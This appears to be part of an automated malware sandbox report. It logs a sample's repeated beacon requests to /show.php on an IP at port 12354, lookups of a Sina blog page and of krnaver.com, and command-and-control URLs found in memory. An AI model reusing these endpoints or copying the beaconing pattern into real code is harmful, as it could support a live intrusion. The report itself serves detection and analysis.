Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: krnaver.com
Source: global traffic	DNS traffic detected: DNS query: blog.sina.com.cn

Source: rundll32.exe, 00000005.00000002.4133737474.0000000005FBD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.4132279546.00000000032C6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.3974473541.0000000005FC2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.4133198288.00000000053FD000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.232:12354/show.php
Source: rundll32.exe, 00000005.00000002.4133972217.0000000006049000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.232:12354/show.php&
Source: rundll32.exe, 00000005.00000002.4133153570.000000000537C000.00000004.00000010.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.4133198288.00000000053FD000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.232:12354/show.php)
Source: rundll32.exe, 00000005.00000003.3574466944.0000000005FC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.232:12354/show.php7
Source: rundll32.exe, 00000005.00000002.4133972217.0000000006049000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.232:12354/show.php8
Source: rundll32.exe, 00000005.00000002.4132279546.000000000321D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.232:12354/show.phpB
Source: rundll32.exe, 00000005.00000003.3574466944.0000000005FC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.232:12354/show.phpBreadcrumbStore
Source: rundll32.exe, 00000005.00000002.4133737474.0000000005FBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.232:12354/show.phpD
Source: rundll32.exe, 00000005.00000002.4133972217.0000000006049000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.232:12354/show.phpF
Source: rundll32.exe, 00000005.00000002.4133972217.0000000006049000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.232:12354/show.phpJ
Source: rundll32.exe, 00000005.00000002.4133972217.0000000006049000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.232:12354/show.phpX
Source: rundll32.exe, 00000005.00000003.3574466944.0000000005FC2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.4133737474.0000000005FBD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.3974473541.0000000005FC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.232:12354/show.phpdK
Source: rundll32.exe, 00000005.00000002.4132279546.000000000327A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.232:12354/show.phpe
Source: rundll32.exe, 00000005.00000002.4133972217.0000000006049000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.232:12354/show.phph
Source: rundll32.exe, 00000005.00000002.4133972217.0000000006049000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.232:12354/show.phpr
Source: rundll32.exe, 00000005.00000002.4133153570.000000000537C000.00000004.00000010.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.4133198288.00000000053FD000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://107.163.24I
Source: otsIBG7J9b.exe, otsIBG7J9b.exe, 00000000.00000002.1687821051.0000000000407000.00000040.00000001.01000000.00000003.sdmp, ufcpp.exe, ufcpp.exe, 00000004.00000002.1697577110.0000000000407000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: http://192.168.100.83/
Source: ufcpp.exe, ufcpp.exe, 00000004.00000002.1697577110.0000000000407000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: http://192.168.100.83/9.htm
Source: otsIBG7J9b.exe, 00000000.00000002.1687821051.0000000000407000.00000040.00000001.01000000.00000003.sdmp, ufcpp.exe, 00000004.00000002.1697577110.0000000000407000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: http://192.168.100.83/9.htmhttp://192.168.100.83/F.htm%D
Source: otsIBG7J9b.exe, otsIBG7J9b.exe, 00000000.00000002.1687821051.0000000000407000.00000040.00000001.01000000.00000003.sdmp, ufcpp.exe, ufcpp.exe, 00000004.00000002.1697577110.0000000000407000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: http://192.168.100.83/F.htm
Source: rundll32.exe, rundll32.exe, 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/%s
Source: rundll32.exe, 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/%sXGRyaXZlcnNcZXRjXGhvc3RzLmljcw==XGRyaXZlcnNcZXRjXGhvc3Rz
Source: rundll32.exe, 00000005.00000002.4132279546.00000000032C6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.3974473541.0000000005FC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/5655029807
Source: rundll32.exe, 00000005.00000002.4133633291.0000000005EAD000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/5655029807.
Source: rundll32.exe, 00000005.00000002.4132279546.00000000032C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/56550298074
Source: rundll32.exe, 00000005.00000002.4133972217.0000000006049000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/5655029807H
Source: rundll32.exe, 00000005.00000002.4133972217.0000000006049000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/5655029807T
Source: rundll32.exe, 00000005.00000002.4132279546.000000000327A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/5655029807a
Source: rundll32.exe, 00000005.00000002.4133972217.0000000006049000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/5655029807lication
Source: rundll32.exe, 00000005.00000003.3974473541.0000000005FC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/5655029807z
Source: rundll32.exe, 00000005.00000003.3974473541.0000000005FC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/5655029807z7
Source: rundll32.exe, 00000005.00000002.4133972217.0000000006049000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/5655029807zd
Source: rundll32.exe, 00000005.00000002.4132279546.000000000327A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/5655029807zh
Source: otsIBG7J9b.exe, otsIBG7J9b.exe, 00000000.00000002.1687821051.0000000000407000.00000040.00000001.01000000.00000003.sdmp, ufcpp.exe, ufcpp.exe, 00000004.00000002.1697577110.0000000000407000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.1.com
Source: otsIBG7J9b.exe, 00000000.00000002.1687821051.0000000000407000.00000040.00000001.01000000.00000003.sdmp, ufcpp.exe, 00000004.00000002.1697577110.0000000000407000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.1.comhttp://192.168.100.83/a
Source: rundll32.exe, 00000005.00000002.4132279546.000000000327A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://blog.sina.com.cn/
Source: rundll32.exe, 00000005.00000002.4132279546.000000000327A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://blog.sina.com.cn/4
Source: rundll32.exe, 00000005.00000002.4133972217.000000000605D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://blog.sina.com.cn/u/5655029807
Source: rundll32.exe, 00000005.00000003.3574466944.0000000005FC2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.4133737474.0000000005FBD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.3974473541.0000000005FC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://blog.sina.com.cn/u/5655029807&K
Source: rundll32.exe, 00000005.00000002.4132279546.00000000032C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://blog.sina.com.cn/u/5655029807.$
Source: rundll32.exe, 00000005.00000002.4132279546.000000000327A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://blog.sina.com.cn/u/5655029807S

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50458
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50217
Source: unknown	Network traffic detected: HTTP traffic on port 63726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50260 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50454
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55345
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52511
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64219
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60255
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63924
Source: unknown	Network traffic detected: HTTP traffic on port 60947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 50314 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51462 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55203 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54480 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56323
Source: unknown	Network traffic detected: HTTP traffic on port 52665 -> 443
